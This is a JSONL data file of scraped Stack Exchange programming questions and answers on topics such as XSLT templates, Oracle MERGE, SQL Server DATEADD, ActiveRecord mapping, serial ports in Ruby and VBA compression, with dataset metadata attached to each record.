{"id": "hf_05a23012f8e6", "question": "<p>I'm exploring the XML -> XSLT -> HTML meme for producing web content. I have very little XSLT experience.</p>\n\n<p>I'm curious what mechanisms are available in XSLT to handle abstractions or \"refactoring\".</p>\n\n<p>For example, with generic HTML and a service side include, many pages can be templated and decomposed to where there are, say, common header, nav, and footer segments, and the page itself is basically the body.</p>\n\n<p>The common markup languages, JSP, PHP, ASP, go as far as to allow all of those segments to have dynamic content (such as adding the user name to every header block).</p>\n\n<p>JSP goes even farther by allowing you to create Tag files, which can accept arguments to be used when generating the content, and even surround and work on content within the tags themselves.</p>\n\n<p>I'm curious similar functionality is done within XSLT.  What facilities are there to make reusable block of XSLT for things like creating HTML pages?</p>\n", "question_body": "", "answer": "Templates, Includes.\nXsl is very different from any other programming language.\n```\nIts rule based.\n```\nI recommend you to read\nsomething\nabout Xslt and then ask a bit more spedific.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.889058"}
{"id": "hf_3e75a77ce90b", "question": "<p>In Oracle, given a simple data table:</p>\n\n<pre><code>create table data (\n    id       VARCHAR2(255),\n    key      VARCHAR2(255),\n    value    VARCHAR2(511));\n</code></pre>\n\n<p>suppose I want to \"insert or update\" a value. I have something like:</p>\n\n<pre><code>merge into data using dual on \n    (id='someid' and key='testKey')\nwhen matched then \n    update set value = 'someValue' \nwhen not matched then \n    insert (id, key, value) values ('someid', 'testKey', 'someValue');\n</code></pre>\n\n<p>Is there a better way than this? This command seems to have the following drawbacks:</p>\n\n<ul>\n<li>Every literal needs to be typed twice (or added twice via parameter setting)</li>\n<li>The \"using dual\" syntax seems hacky</li>\n</ul>\n\n<p>If this is the best way, is there any way around having to set each parameter twice in JDBC?</p>\n", "question_body": "", "answer": "I would hide the MERGE inside a PL/SQL API and then call that via JDBC:\n```\n```\ndata_pkg.merge_data ('someid', 'testKey', 'someValue');\n```\n```\nAs an alternative to MERGE, the API could do:\n```\n```\nbegin\n   insert into data (...) values (...);\nexception\n   when dup_val_on_index then\n      update data\n      set ...\n      where ...;\nend;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.926115"}
{"id": "hf_17a2b7954d31", "question": "<p>Is it possible to have a HasMany relationship of a basic type such as String, on an ActiveRecord class, without the need for creating another entity such as (TodoListItem) to hold the value.</p>\n\n<pre><code>[ActiveRecord]\npublic class TodoList\n{\n\n  [PrimaryKey]\n  public int Id\n  {\n    get { return _id; }\n    set { _id = value; }\n  }\n\n  [HasMany(typeof(string)]\n  public IList&lt;string&gt; Items\n  {\n    get { return _items; }\n    set { _items= value; }\n  }\n}\n</code></pre>\n\n<p>Can anyone help?</p>\n", "question_body": "", "answer": "In ActiveRecord, your types map to a record in a table (by default).  It seems like you are confusing how this type should map to your table.\nThe MyClass type should have a definition something like this (excluding the PK settings):\n```\n```\n[ActiveRecord(Table = \"MyTable\")]\npublic class MyClass : ActiveRecordBase<MyClass>\n{\n    [Property]\n    public int Id { get; set; }\n\n    [Property]\n    public int MyClassId { get; set; }\n\n    [Property]\n    public string ListItem { get; set; }\n}\n```\n```\nThen, to load the list:\n```\n```\npublic void LoadMyClasses()\n{\n    MyClass[] results = MyClass.FindAll();\n}\n```\n```\nI'd suggest you spend some time with the\nActiveRecord documentation\n(or\ntutorial\n) as that should also help clear up any confusion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.954556"}
{"id": "hf_ce75211549f9", "question": "<p>If I spawn a new thread, and then within it I push a new controller onto my UINavigationController, using code like this...</p>\n\n<p>(a) not working</p>\n\n<pre><code>-(void)myCallbackInThread\n{\n    // move on...\n    UIApplication* app = [UIApplication sharedApplication];\n    [app changeView];\n}\n</code></pre>\n\n<p>then I find that the view appears, but does not respond to user input.</p>\n\n<p>If I change the code like this</p>\n\n<p>(b) working</p>\n\n<pre><code>-(void)myCallbackInThread\n{\n    // move on...\n    UIApplication* app = [UIApplication sharedApplication];\n    [app performSelectorOnMainThread:@selector(moveToMain) withObject:nil waitUntilDone:FALSE];\n}\n</code></pre>\n\n<p>Then everything works just fine.</p>\n\n<p>Any hints as to why?</p>\n", "question_body": "", "answer": "Just found this in the iPhone threading docs\nIf your application has a graphical\n  user interface, it is recommended that\n  you receive user-related events and\n  initiate interface updates from your\n  application’s main thread. This\n  approach helps avoid synchronization\n  issues associated with handling user\n  events and drawing window content.\n  Some frameworks, such as Cocoa,\n  generally require this behavior, but\n  it also has the advantage of\n  simplifying the logic for managing\n  your user interface.\nI still don't see what would actually cause something to display but not be able to receive user input, but I'll follow that guideline in future.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:31.978918"}
{"id": "hf_a3a3777b54a3", "question": "<p>How do I in SQL Server 2005 use the DateAdd function to add a day to a date</p>\n", "question_body": "", "answer": "```\n```\nDECLARE @MyDate datetime\n\n-- ... set your datetime's initial value ...'\n\nDATEADD(d, 1, @MyDate)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.003079"}
{"id": "hf_a2336a436d84", "question": "<p>I have a GridView where one column is bound to an object property containing a nullable integer. I set SortExpression to the name of the property, and sorting works perfectly as long as all rows contain a value. If any rows contain null, however, I get an exception:</p>\n\n<p>System.InvalidOperationException : Failed to compare two elements in the array. Object reference not set to an instance of an object.</p>\n\n<p>How do I customize the sorting or comparison logic to handle the null case?</p>\n", "question_body": "", "answer": "The Nullable type exposes a comparison method for comparing nullable types, so the solution is to override the gridview sorting logic and manually specify a comparison:\n```\n```\ngridview.Sorting += new GridViewSortEventHandler(gridView_Sorting);\n\nprotected void gridView_Sorting(object sender, GridViewSortEventArgs e)\n{\n    // Only add custom handling for the sort expression on the \n    // Nullable<int> column\n    if (e.SortExpression == \"MySortExpression\")\n    {\n        // Convert datasource to a List<T>\n        list.Sort(new Comparison<MyObjectType>(delegate(MyObjectType item1, MyObjectType item2)\n        {\n            return Nullable.Compare<int>(item1.NullableIntProp, item2.NullableIntProp);\n        }));\n\n        // Bind the sorted list back to the gridview\n    }\n    else\n    {\n        // delegate to the gridview to handle its own sorting\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.038710"}
{"id": "hf_509ddaa1cbcc", "question": "<p>We have some raw voice audio that we need to distribute over the internet. We need decent quality, but it doesn't need to be of musical quality. Our main concern is usability by the consumer (i.e. what and where they can play it) and size of the download. My experience has shown that mp3s do not produce the best compression numbers for voice audio, but I am at a loss for what the best alternatives are. Ultimately we would like to automate the conversion process to allow the consumer to choose the quality vs. size level that they would like.</p>\n", "question_body": "", "answer": "Assuming your users will be running Windows, there is a WMA speech compression codec that you can use with the Windows Media Encoder SDK. Failing that, you can use ACM to use something like G723/G728, ADPCM, mu-law or a-law, some of which are installed as standard on Windows XP & above. These can be packaged inside WAV files. You'll need to experiment a little to find the right bitrate/quality (probably don't bother with mu-law or a-law). With voice data you can get away with quite low sample rates - e.g. 16000 or 8000, as there isn't much above 4Khz in the human spoken voice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.086922"}
{"id": "hf_a818dc393801", "question": "<p>I'm  trying to create a table with two columns comprising the primary key in MySQL, but I can't figure out the syntax.  I understand single-column PKs, but the syntax isn't the same to create a primary key with two columns.</p>\n", "question_body": "", "answer": "Example:\n```\n```\nCREATE TABLE `synthesis`.`INV_MasterItemList` (\n   `MasterItemList_ID` INTEGER UNSIGNED NOT NULL AUTO_INCREMENT,\n   `Customer_ID` INTEGER UNSIGNED NOT NULL,\n   `Model_ID` INTEGER UNSIGNED NOT NULL,\n   `Serial` VARCHAR(45) NOT NULL,\n   PRIMARY KEY (`MasterItemList_ID`),\n   UNIQUE INDEX `INDEX_UNIQUE`(`Customer_ID`, `Model_ID`, `Serial`)\n )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.110934"}
{"id": "hf_af36f73cf0a8", "question": "<p>I can't seem to get my application up and running on my dev server and I'm not sure why.</p>\n\n<p>I have compiled my code in VS 2008 with a target framework of 3.5.  I am using 3.5 mainly because I have implemented LINQ rather extensively.  Compiling and runs local without any problems.  </p>\n\n<p>The hang up is that my server only has the 2.0 .Net framework and upgrading to 3.5 is apparently not going to happen.  </p>\n\n<p>I was under the impression after doing some research that as long as I was trying to execute compiled code the server would not need 3.5 installed.  </p>\n\n<p>Today I am trying to publish to the server and I can't get past this error in my WEB.CONFIG</p>\n\n<p>Configuration Error </p>\n\n<p>Parser Error Message: Child nodes not allowed.</p>\n\n<p>providerOption name=\"CompilerVersion\" value=\"v3.5\"/</p>\n\n<p>EDIT ADD ON QUESTION:\nI have seen some posts about possibly setting my references to \"copy local\" which might allow me to run on the 2.0 server.  Thoughts?</p>\n", "question_body": "", "answer": "You're not going to be able to run code targetted to 3.5 on the server unless you get 3.5 installed on it.\nThe problem isn't your code, rather that the required libraries will be missing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.160141"}
{"id": "hf_e86a1ef57670", "question": "<p>Recently I was working with generating a PDF from Crystal Reports through a webform.  It was failing, which I determined to be caused by the permissions settings on the c:\\windows\\temp dir.   I gave the Network Service account full access to this folder, which promptly fixed the issue.   But is there a reason the Network Service account didn't have these permissions by default?   </p>\n\n<p>Rick Strahl asks this question <a href=\"http://west-wind.com/WebLog/posts/112111.aspx\" rel=\"nofollow noreferrer\">here</a>.  It sounds like there shouldn't be any issues with doing this, but Rick wasn't clear on why the default is set that way.      </p>\n\n<p>Web Server is Windows Server 2003</p>\n", "question_body": "", "answer": "These days, the default option will tend to be the more secure one.  I don't think there's any other reason.\nI've had the same issue as you, and in my environment just gave the permission and moved on.\nThis post\nsuggests it is the fault of Crystal Reports, which is explicitly referencing %WINDIR%\\Temp instead of using an API such as Path.GetTempPath().  In fact I have seen Path.GetTempPath() return %WINDIR%\\Temp when running under the Network Service account on Windows 2003.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.258155"}
{"id": "hf_7bb53cbbe919", "question": "<p>I am building an application using Spring MVC. I want to make certain changes to my Model for every Controller in the application. In particular, I want to insert certain extra data into the model which will be present for all pages of the application.</p>\n\n<p>I could do this several ways: just add the data at the end of every Controller, use a subclass of Model that adds my extra data, use a subclass of ModelAndView that wraps my Model, use a subclass of VelocityView that wraps the Model before using it... I'm sure there are other options.</p>\n\n<p>But I have an \"elegance\" constraint: I don't want to write code in each and every Controller, I want this behavior defined in <a href=\"http://en.wikipedia.org/wiki/Don%27t_repeat_yourself\" rel=\"nofollow noreferrer\">one-and-only-one</a> place. Ideally, it would be controlled by my IOC bean config file.</p>\n\n<p>Does anyone have a recommendation of how to achieve this elegantly?</p>\n", "question_body": "", "answer": "You could take a look at using Aspects.  Spring even has an\nAOP\nextension that you could use.\nIn brief an aspect would allow you to define code once that would then get \"woven\" into your classes either when you compile the classes or when they are loaded by the classloader.  It's relatively advanced stuff and isn't the most intuitive thing for new programmers to pick up, but it's intended to solve exactly the problem you're referring to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.282134"}
{"id": "hf_a2aa6ea32faf", "question": "<p>Let's say I 've added a library foo.so.1.1.1 to a path that is included in <code>/etc/ld.so.conf</code>\nWhen I run ldconfig on the system I get the links foo.so.1.1 and foo.so.1 to foo.so.1.1.1</p>\n\n<p>How can I change the behavior to also get the foo.so link to foo.so.1.1.1?</p>\n", "question_body": "", "answer": "Just make the symlink yourself:\n```\n```\nln -s /usr/lib/foo.so.1.1.1 /usr/lib/foo.so\n```\n```\nNote that for applications to use libraries in this manner, they need to be explicitly linked against the unversioned shared object.  IE: this is a mechanism to bypass the dynamic loader's version matching system completely.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.330569"}
{"id": "hf_05b6011957b9", "question": "<p>How do I write the SQL code to INSERT (or UPDATE) an array of values (with probably an attendant array of fieldnames, or with a matrix with them both) without simple iteration?</p>\n", "question_body": "", "answer": "I construct the list as an xml string and pass it to the stored procs. In SQL 2005, it has enhanced xml functionalities to parse the xml and do a bulk insert.\ncheck this post:\nPassing lists to SQL Server 2005 with XML Parameters", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.355001"}
{"id": "hf_0629676b6cf5", "question": "<p>I recently began profiling an osgi java application that I am writing using VisualVM.  One thing I have noticed is that when the application starts sending data to a client (over JMS), the number of loaded classes starts increasing at a steady rate.  The Heap size and the PermGen size remains constant, however.  The number of classes never falls, even after it stops sending data. Is this a memory leak?  I think it is, because the loaded classes have to be stored somewhere, however the heap and permgen never increase even after I run the application for several hours.</p>\n\n<p>For the screenshot of my profiling application go <a href=\"http://sites.google.com/site/javaperformacescreenshot/Home/profile.png\" rel=\"noreferrer\">here</a></p>\n", "question_body": "", "answer": "Yes, it's usually a memory leak (since we don't really deal with memory directly, it's more of a class instance leak).  I've gone through this process before and usually it's some listener added to an old toolkit that didn't remove it self.\nIn older code, A listener relationship causes the \"listener\" object to remain around.  I'd look at older toolkits or ones that haven't been through many revs.  Any long-existing library running on a later JDK would know about reference objects which removes the requirement for \"Remove Listener\".\nAlso, call dispose on your windows if you recreate them each time.  I don't think they ever go away if you don't (Actually there is also a dispose on close setting).\nDon't worry about Swing or JDK listeners, they should all use references so you should be okay.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.482227"}
{"id": "hf_2b4526aa8e2e", "question": "<p>As a programmer I found it very hard to use my laptop and workstation with two different input devices, Can anyone suggest a good solution to use single mouse and keyboard to control my two machines</p>\n\n<p>I am not looking for a Virtual Machine or RDP solution to see my machines in a single monitor,</p>\n", "question_body": "", "answer": "Synergy.\nSynergy lets you easily share a single mouse and keyboard between\n  multiple computers with different\n  operating systems, each with its own\n  display, without special hardware.\n  It's intended for users with multiple\n  computers on their desk since each\n  system uses its own monitor(s).\n  Redirecting the mouse and keyboard is\n  as simple as moving the mouse off the\n  edge of your screen. Synergy also\n  merges the clipboards of all the\n  systems into one, allowing\n  cut-and-paste between systems.\n  Furthermore, it synchronizes screen\n  savers so they all start and stop\n  together and, if screen locking is\n  enabled, only one screen requires a\n  password to unlock them all.\nP. S.\nSee also\nhow to fix Synergy problems on Vista\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.578405"}
{"id": "hf_583b417a52da", "question": "<p>I have created a user control to handle adding comments to certain business entities, like contacts and customers.  Works great ... except for one issue.</p>\n\n<p>I am using a ListView control to edit and delete comments, and a separate area, on the same user control to add a new comment.  All of this is wrapped in an UpdatePanel.</p>\n\n<p><img src=\"https://farm4.static.flickr.com/3239/2909377399_888d42b595.jpg?v=0\" alt=\"Screenshot\"></p>\n\n<p>Here is my scenario ... the user adds a new comment ... the page does a postback, the data is successfully saved, and the ListView control is updated to show the new comment.  Now, if the user <strong>refreshes</strong> the browser, it will naturally postback again and will add another duplicate record. </p>\n\n<p>Any ideas on how best to prevent this?</p>\n", "question_body": "", "answer": "I haven't used ASP.NET in a few years, but you should wrap your \"do this on postback\" code in\n```\nPage.IsPostBack\n```\n:\n```\n```\nif(IsPostBack) {\n    //do your data-saving code...\n}\n```\n```\nMSDN link", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.602295"}
{"id": "hf_18c75ce9048d", "question": "<p>I'm specifically thinking about the BugMeNot service, which provides user name and password combos to a good number of sites. Now, I realize that pay-for-content sites might be worried about this (and I would suspect that most watch for shared accounts), but how about other sites? Should administrators be on the lookout for these accounts? Should web developers do anything differently to take them into account (and perhaps prevent their use)?</p>\n", "question_body": "", "answer": "Not make registration mandatory to read something? i.e. Ask people to register when you are providing some functionality for them that 'saves' some settings, data, etc. I would imagine site like stackoverflow gets less fake registrations (reading questions doesn't require an account) than say New York Times, where you need to have an account to read articles.\nIf that is not upto your control, you may consider removing dormant accounts. i.e. Removing accounts after a certain amount of inactivity.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.672629"}
{"id": "hf_6cc95e4668b8", "question": "<p>I need to do some communications over a serial port in Ruby.  From my research, it appears that there aren't many modern libraries for serial communications and the newest material I can find is from 2006.  Are there any gems that I'm not aware of?</p>\n\n<p>I ultimately need to maintain communications with a serial device attached to USB (I can figure out the port no problem) for back and forth communications like so (somewhat Ruby-esque pseudo code).</p>\n\n<pre><code>def serial_write_read\n  if serial.read == \"READY\"\n    serial.write \"1\"\n    until serial.read == \"OK\"\n      serial.write \"5\"\n    end\n    return when serial.read == \"DONE\"\n  end\nend\n</code></pre>\n", "question_body": "", "answer": "The serial port specification has not changed in forever, I wouldn't worry about how old the libraries are.\nI'm assuming you saw\nthis\narticle from 2006 about ruby and serial ports\nHere's\nsomeone who got the\nRuby-SerialPort\nlibrary mentioned there to work on macs this year.\nThere's also\nthis old post\nfrom ruby talk, about interfacing to the Win32 Serial API.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.720357"}
{"id": "hf_a46b3e38dad5", "question": "<p>One of the vagaries of my development system (Codegear C++Builder) is that some of the auto-generated headers insist on having... </p>\n\n<pre><code>using namespace xyzzy\n</code></pre>\n\n<p>...statements in them, which impact on my code when I least want or expect it.</p>\n\n<p>Is there a way I can somehow cancel/override a previous \"using\" statement to avoid this.</p>\n\n<p>Maybe...</p>\n\n<pre><code>unusing namespace xyzzy;\n</code></pre>\n", "question_body": "", "answer": "No you can't\nunuse\na namespace. The only thing you can do is putting the\n```\nusing namespace\n```\n-statement a block to limit it's scope.\nExample:\n```\n```\n{\n    using namespace xyzzy;\n\n} // stop using namespace xyzzy here\n```\n```\nMaybe you can change the template which is used of your auto-generated headers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.744139"}
{"id": "hf_a75cb6efdd7a", "question": "<p>I need to be able to GZip compress a file in an Excel VBA function. Specifically I need to be able to use the 'deflate' algorithm.</p>\n\n<p>Is there a way to do this without having to exec a command line application? With no dependency on external tools the code will be more robust.</p>\n\n<p>Ideally the code would make use of pre-installed VBA or COM library functions - I don't want to have to implement this logic myself or install DLLs etc.</p>\n\n<p>If possible, I want installation of the function to be as simple as adding a .xla to the available Excel Add-Ins. No DLLs, EXEs, registry entries etc. required.</p>\n\n<p><strong>Edit</strong> Can I make use of the .NET GZipStream to do this?</p>\n", "question_body": "", "answer": "If you want to implement the algorithm in VBA, you would need to (in VBA) save the spreadsheet and then use VB's I/O functions to open the file, deflate it, and save it again. For all intents and purposes it's identical to writing an ordinary VB application that works on a file. You might need to put the VBA macro in a separate workbook to avoid \"file in use\" types of errors, but if you reopen the file as read-only and save it with a different filename you should be OK keeping everything in one workbook.\nBut I'm almost certain that shelling out to gzip from within the VBA would be functionally identical and infinitely easier.\nEDIT:\nSome code. It didn't fail when I ran it, so it's OK to keep everything in the same workbook.\n```\n```\nSub main()\n    ActiveWorkbook.Save\n    Open \"macrotest.xls\" For Binary Access Read As #1\n    Open \"newfile.zip\" For Binary Access Write As #2\n        'do your stuff here\n    Close #2\n    Close #1\nEnd Sub\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.778022"}
{"id": "hf_78831a57867e", "question": "<p>I have a few questions about optimizing this type of load.</p>\n\n<p>One builds a new table of data to be loaded into a partitioned table and then builds the indexes on this new table. </p>\n\n<ol>\n<li><p>Should you build the index with the COMPUTE STATISTICS option or use the Cascade option of the DBMS_Stats?</p></li>\n<li><p>Should you gather stats on the table before the swap or on the partition after the swap?</p></li>\n<li><p>If you do it after the swap and you specify the partition name in the parameter list, what interplay does the granularity parameter have? For instance, if I specify a partition name and then set granularity to 'GLOBAL AND PARTITION' does that do Global at all? Does it do <em>just</em> that one partition?</p></li>\n</ol>\n", "question_body": "", "answer": "```\nDBMS_STATS\n```\nis considered the proper way to calculate statistics for this version. Building the index with the\n```\nCOMPUTE STATISTICS\n```\nis doable, but usually you want to calculate all your stats at one time and take snapshots.\nYou want to gather stats after the swap. This way the optimizer will make the best guess for executing queries using that partitions' data.\nWhy would you put both?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.826758"}
{"id": "hf_a67773857414", "question": "<p>So I build an array of various dates. Birthdays, anniversaries, and holidays. I'd like to order the array by which one is happening next, essentially sort October to September (wrapping to next year)</p>\n\n<p>so if my array is </p>\n\n<pre><code>$a = ([0]=&gt;\"1980-04-14\", [1]=&gt;\"2007-06-08\", \n  [2]=&gt;\"2008-12-25\", [3]=&gt;\"1978-11-03\")\n</code></pre>\n\n<p>I'd like to sort it so it is arranged</p>\n\n<pre><code>$a = ([0]=&gt;\"1978-11-03\", [1]=&gt;\"2008-12-25\", \n  [2]=&gt;\"1980-04-14\", [3]=&gt;\"2007-06-08\")\n</code></pre>\n\n<p>because the november 'event' is the one that will happen next (based on it being october right now).</p>\n\n<p>I'm trying usort where my cmp function is </p>\n\n<pre><code>function cmp($a, $b)\n{\n  $a_tmp = split(\"-\", $a);\n  $b_tmp = split(\"-\", $b);\n  return strcmp($a_tmp[1], $b_tmp[1]);\n} \n</code></pre>\n\n<p>I am not sure how to modify this to get my desired effect.</p>\n", "question_body": "", "answer": "Don't compare strings, instead use seconds since 1970 (ints):\n```\n```\n$date1 = split(\"-\", $a);\n$date2 = split(\"-\", $b);\n$seconds1 = mktime(0,0,0,$date1[1],$date1[2],$date1[0]);\n$seconds2 = mktime(0,0,0,$date2[1],$date2[2],$date2[0]);\n// eliminate years\n$seconds1 %= 31536000;\n$seconds2 %= 31536000;\nreturn $seconds1 - $seconds2;\n```\n```\nAlso I don't know PHP but I think the gist is correct.\nEdit: The comparison function is encapsulated to perform comparison, nothing more.  To order a list in regards to the original question sort an array with today's date included, locate today's date in the array, and then move the elements before that position to the end in ascending order by position.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.918251"}
{"id": "hf_c91dec07150f", "question": "<p>I am developing a small web app project (ColdFusion) and I am trying to keep my project split into multiple files during development, but deploy just one file on completion.</p>\n\n<p>I have references to external files, for instance:</p>\n\n<pre><code>&lt;script type=\"text/javascript\" src=\"jquery-1.2.6.pack.js\"&gt;&lt;/script&gt;\n&lt;link type=\"text/css\" rel=\"stylesheet\" href=\"project.css\" /&gt;\n</code></pre>\n\n<p>And when I build my project, I want to have the files included and embedded within the single finished product file.</p>\n\n<pre><code>&lt;script type=\"text/javascript\"&gt;eval(function(p,a,c,k,e,r) [...]&lt;/script&gt;\n&lt;style type=\"text/css\"&gt;div{font:normal;} [...]&lt;/style&gt;\n</code></pre>\n\n<p>Anyway, it doesn't look like there is a basic way for Ant to do this. Anyone know?</p>\n", "question_body": "", "answer": "Does this do what you want?\n```\n```\n<property\n    name=\"filename\"\n    value=\"jquery-1.2.6.pack.js\"\n/>\n\n<loadfile\n    property=\"contents\"\n    srcfile=\"${filename}\"\n/>\n\n<replace dir=\".\">\n    <include name=\"index.cfm\"/>\n    <replacetoken><![CDATA[<script type=\"text/javascript\" src=\"${filename}\"></script>]]></replacetoken>\n    <replacevalue><![CDATA[<script type=\"text/javascript\">${contents}</script>]]></replacevalue>\n</replace>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.939236"}
{"id": "hf_cb3e5e7c2031", "question": "<p>Does any one know how can I convert a BSTR to an int in VC++ 2008</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "Google suggests\n```\nVarI4FromStr\n```\n:\n```\n```\nHRESULT VarI4FromStr(\n  _In_   LPCOLESTR strIn,\n  _In_   LCID lcid,\n  _In_   ULONG dwFlags,\n  _Out_  LONG *plOut\n);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:32.970948"}
{"id": "hf_f6a30ee204d4", "question": "<p>I'm currently writing a website that allows people to download Excel and text files. Is there a way to redirect to a different page when they click, so that we run javascript and do analytics (i.e. keep download count)? Currently, nothing prevents the user from simply right-clicking and saving. </p>\n\n<p>Edit: </p>\n\n<p>To be more specific, it would be nice for a single or double click of a file link to redirect to a temporary download page for analytics, then have the file be downloaded.</p>\n", "question_body": "", "answer": "I'm not sure what you are asking here, are you trying to figure out how to redirect in the controller or are you trying to override the right-click behavior in the browser?\nTo redirect in the controller you can do something like this documented\nhere\n.\n```\n```\nredirect(controller:\"book\",action:\"list\")\n```\n```\nIf you are trying to change button or link behavior that's client side and will require some Javascript most likely.\nIf you clarify I might be able to help more.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.041435"}
{"id": "hf_8fe896c9b1ec", "question": "<p>I'm planning to build a USB device that has buttons that some software needs to respond to, and indicators that the software needs to control. I'm new to USB, so I'm looking for any pointers that will get me started.</p>\n", "question_body": "", "answer": "When I did some USB development a while ago, I found the information at\nUSB Central\nextremely valuable.\nFor low bandwidth requirements, you can use something like the\nFT232R\nwhich is a single-chip USB serial implementation. The FTDI drivers are readily available and make the device appear as a regular serial port to the host computer. This is orders of magnitude easier than rolling your own USB implementation (for either end!).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:33.150782"}
